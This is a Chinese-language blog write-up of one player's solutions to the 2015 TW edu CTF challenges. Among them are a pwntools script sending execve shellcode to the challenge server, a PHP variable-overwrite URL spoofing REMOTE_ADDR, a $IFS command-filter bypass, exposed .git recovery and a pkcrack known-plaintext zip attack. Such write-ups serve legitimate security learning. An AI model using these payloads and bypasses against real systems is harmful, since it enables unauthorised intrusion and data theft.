2015 TW edu CTF Writeup

比賽介紹

誰才是天大地大?台大、台科大、中央三校搶資安駭客冠軍 | TechOrange

雖然我不是三大的學生
不過一開賽我就拜託Orange幫我開通了帳號了XD,謝謝Orange!
這次的比賽我是當作去AIS3完的驗收(金盾獎不能算是CTF吧XD),先上最後的成績

拿了很多小分數的,湊一湊也湊到了1785排名27
自己覺得蠻滿意的,不過距離前面的隊伍差距還是很大
這次也是學到一堆好玩的東西,不過還是要找個時間好好研究個領域比較難的題目!

mini

題目:給了一個只有300B的ELF
解題:
先丟個qira看看
執行了sys_read寫入位置是0x804808b,所以只要在0x80480a1後面塞shllcode就可以了。
Payload
from pwn import *
import re

s = remote('188.166.186.135', 9090)
s.send('\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\x31\xc9\x31\xd2\xcd\x80') #nop+shellcode(nullfree)
s.interactive() 
FLAG: CTF{5he11c0d3_1s_Soo0o0ooOo_51mp13} 
PWN唯一拿到的一題,覺得有待加強這個部分...

RSA

題目:1個json裡面有n,e,c跟一份rsa加密的code
解題:N很小,所以直接用factordb分解,得到p,q之後rsatool得到d
Payload
from sympy import randprime
n = 69037356967092428811573699689752455282165460568629454083502861819413893435697699053715051257547
d = int('47af5b6b456190a6768d29e6f1f6aced8e618587a8c7917f1da1367a53da807a7e76967660ff0d9',16)
c = 56267348817991667025293700596381772772705100752049364933949564121901533557055297556368355657861
m = pow(c,d,n)
print format(m,'x').decode('hex') 

FLAG: CTF{factor is e4sy, plz wait a m1nute!}
以前解過的題目了,不過學會用python的format不用再依賴線上工具拉

share

題目:1個json裡面有n,e1,e2,c1,c2跟一份rsa加密的code
解題:RSA共用Modulus,上網google得到這篇Capture the Swag: PlaidCTF - strength - Crypto 110 Point Challenge,POC有點醜想看的在找我拿。
FLAG: CTF{DO NOT SHARE MODULUS PLZ ><!! <>< I AM FISH (?)}
Google了很久,不過算是蠻簡單的數學問題,所以有理解出來!

WebBabyFirst

全部用base64加密過
Flag1:藏在註解
CTF{0h_y0u_c4n_533_7h3_h7ml_c0mm3n7}
Flag2:藏在cookie
CTF{d3l1c10u5_c00k135!!5n00py_l0v35_c00k135!!!}
Flag3:藏在http-header
CTF{h77p_h34d3r???15_17_3474bl3?}
Flag4:藏在js
CTF{c0uld_y0u_r3v3r53_51mpl3_j5?y35,y0u_c4n!!!}
原本FLAG3一直找不到,hint出來之後才發現!

Mission

1

題目:'flag' is a kind of encoding. You should accept that encoding that the web server could give you the flag.
解題:在http-header的accept-encoding裡加上flag
FLAG: CTF{custom_http_header!!!!}
一開始用錯工具QAQ Tamper Data (x) Burp suite (o)

2

題目:Not ImplementedGET to /mission2.php not supported.
解題:嘗試了post,put都沒用,然後看到這篇Test HTTP Methods (OTG-CONFIG-006) - OWASP發現nc可以拿來測試http的method
Payload
$ nc mission.cebrusfs.com 80
OPTIONS /mission2.php HTTP/1.1
Host:mission.cebrusfs.com

HTTP/1.1 200 OK
Date: Sun, 10 Jan 2016 18:16:49 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Allow: GETFLAG,OPTIONS
Content-Length: 0
Content-Type: text/html


$ nc mission.cebrusfs.com 80
GETFLAG /mission2.php HTTP/1.1
Host:mission.cebrusfs.com

HTTP/1.1 200 OK
Date: Sun, 10 Jan 2016 18:17:12 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Content-Length: 58
Content-Type: text/html

CTF{502_not_implement????sent_custom_http_method_instead~}%


FLAG: CTF{502_not_implement????sent_custom_http_method_instead~}
學到新東西!

Overthewire

題目:一份php source code,$_SERVER['REMOTE_ADDR'] == '127.0.0.1'會噴出flag
解題:關鍵在這邊
foreach ($_REQUEST as $key => $value) {
        $$key = $value;
    }
可以變數覆蓋
Payload:
http://overthewire.hackme.cc/overthewire.php?_SERVER[REMOTE_ADDR]=127.0.0.1

FLAG: CTF{the_world_is_not_beautiful_therefore_it_is}
原本就有想到了但是['']多了單引號所以錯誤,最後hint出來之後去google,才寫出正確的payload

Bypasser

題目:給了一個post欄位,可以輸入bash指令,但會過濾[' ','*','.','flag']
解題:看到提示後去網路google如何替換空白,發現$IFS這個環境變數預設是空白!
所以利用它來繞過限制,flag不能打出來那就用fla?代替,'.'亦是如此,最後的輸入是這樣
head$IFS\fla??php

FLAG: CTF{now_shell_is_easy_for_you:)}
學到了這個很酷的東西,這題還有一個很機巴的地方
head出來的東西是註解(<!-->)所以要開html才看得到

Login-as-admin

只解出 1-1,2-1

1-1

題目:就是一個登入頁面
解題:先看robots.txt發現backup/目錄裡面有backup.zip,下載後就可以看到FLAG
FLAG: CTF{sucks_robots!!Backup_file_is_dangerous} 
EZ

2-1

題目:就是一個登入頁面
解題:一樣是robots.txt發現.git/目錄,但沒有權限可以讀取,所以開始摸索.git的結構
我建立一個全新的git資料夾,目標把上面能給的東西都對印下來就可以還原了
先把.git/logs/HEAD載了下來並放到一樣的位置,可以看到有幾個git commit的hash
git的物件會存在.git/objects/hash[:2]/hash[2:],把兩個物件都拉下來到對應的位置
接著要辨識現在的版本,所以要下載.git/refs/heads/master一樣是放到對應的位置
然後下指令
git checkout -f

試著還原到上一次的commit,出現錯誤訊息
error: Could not read dea7fa444daac23efb6de08ba87f5356a7d7eaee 

缺少物件所以繼續去網站上抓下來,一樣的動作重複做倒沒有error message就可以了
最後抓了五個object下來
FLAG: CTF{.git_can_be_recovered_even_you_do_not_have_directory_listing}
研究了git學到新東西!

executable

題目:一個ELF32,直接執行會跑出Kill
解題:qira ./executable ,然後就看到flag了...,qira有點強
這應該不是正規解法XD 不過管他的
FLAG: CTF{m461c_4ddr_n33d_m@61c_r007}
Qira作弊啊...

Y
題目:給了一個PYC
解題:先把PYC還原成python,方法參考這邊
print (lambda x: (lambda Y: (lambda f: lambda y: (lambda x: ['QQ{Fail}', 'CTF{' + hex(y)[2:] + '}'][x == 3242])(sum((f(i) for i in range(1, y + y / y)))))(Y(lambda f: lambda x: [lambda : f(x >> 1), lambda : f((x << 1) + x + x / x), lambda : x - x][(x == 1) + (x & 1)]() + 1))(int(raw_input())))(lambda f: (lambda x: x(x))(lambda y: f(lambda *a: y(y)(*a)))))(__import__('sys').setrecursionlimit(1000000000)) 

查了一下原來叫做Y-combinator,但我超沒耐心拆function...
所以直接用for跑了一下跑到101跳出Flag...
FLAG: CTF{64}
這題到底是誰出的拉XD

Say

題目:一個aiff檔,內容是一個ELF32的hex speech to text
解題:先說!實在太爽拉!!!我唯一的高分題,而且只有12個人解出來!!!
沒什麼技巧,就是真的用力聽,聽到湊出能執行的東西(怎麼可能啊XXX)
在我第無數次聽完之後,我參考了mini做了修正(因為mini也是很小的ELF)
做了修正之後...還是無法執行,但是可以IDA分析了!
(不知道為啥可以分析的檔案比完就弄丟了...無法截圖
總之看到了xor 0x01這個關鍵然後又看到BUG....字串
所以直接將那串字拿出來xor 1看看
得到CTF{cft prite`falg.hex | say -o say.aiff}
最後腦補得到答案
FLAG: CTF{cat print_flag.hex | say -o say.aiff}
意外發現CTF xor完是 BUG! 用英文出題就算了,中文的text to speech真的很破誒...,好險我耳朵夠好,兩天下午都在聽000000000000000,真的是很...

Eve1

題目:給了一個封包檔
解題:找到一個html網頁,dump出來之後就看到flag1
FLAG: CTF{y0u_c4n_533_7h15_p463!y0u_4r3_7h3_pc4p_k1n6!!}
flag2是湊zip但我真的還不會這類型的題目...

What-is-that

題目:給了一個file
解題:用file查出是eps格式,加上副檔名丟上google drive,噴出一個QRcode
線上工具
FLAG: CTF{this_is_flag....what!?so_where_are_the_cookies_for_snoopy_QQ}
Google Drive好強大啊

LARGE

題目:給了一個QRcode
解題:線上工具
FLAG: CTF{tpOjPece208xnhY2CwFCkK7YlV8w4zKkRvXmieGHVjXST3yWLQ
1w5uR4y3BRtkITLIoK8UiyZ8TfQ04uz2RKYFEz43iV6HnyENhQ00NNLtA1mJKs
T0SExj99dFQ2u5bvFxI1aNg72lGzFzD5Y65jR26PaV9UDh31jqfHMcKhxn1stYeItA
3pOwU0avkxve3kYbPWxvDh}
一個送分題

LLARGE

題目:依舊是一個QRcode
解題:線上工具,解出來是一個zip,裡面有一個flag.txt
FLAG: CTF{The_binary_hide_in_QR_code!ZIP_IN_QR!It's_amazing!}
試了很多工具都error,這套最棒! 

Russian-Dolls

題目:給了一個file
解題:第一層是zip,第二層base64,第三層是gz,第四層是bzip,第五層是lzip,第六層是tar
第七層是xz,解完七層可以拿到一個text
echo x - level9
sed 's/^X//' >level9 << 'END-of-level9'
XPGS{Cnpxrq!Cnpxrq!Cnpxrq}
END-of-level9
exit

想了想應該是全體shift(凱薩加密)
找了工具試了一下
FLAG: CTF{Packed!Packed!Packed}
聽說7z可以解出80%?!

Backup

題目:給了一個加密的zip,裡面有一個網頁跟bootstrap3.3.6
解題:很明顯地要用pkcrack,上網找到bootstrap3.3.6
$ zip duck.zip bootstrap-3.3.6-dist/css/bootstrap.min.css
  adding: bootstrap-3.3.6-dist/css/bootstrap.min.css (deflated 84%)
$ pkcrack -C backup.zip -c bootstrap-3.3.6-dist/css/bootstrap.min.css -P duck.zip -p bootstrap-3.3.6-dist/css/bootstrap.min.css -d clean.zip -a
FLAG: CTF{kn0wn_pl41n_73x7_4774ck_15_50_73rr1bl3} 
AIS3老梗XD 這次有解出來拉!

留言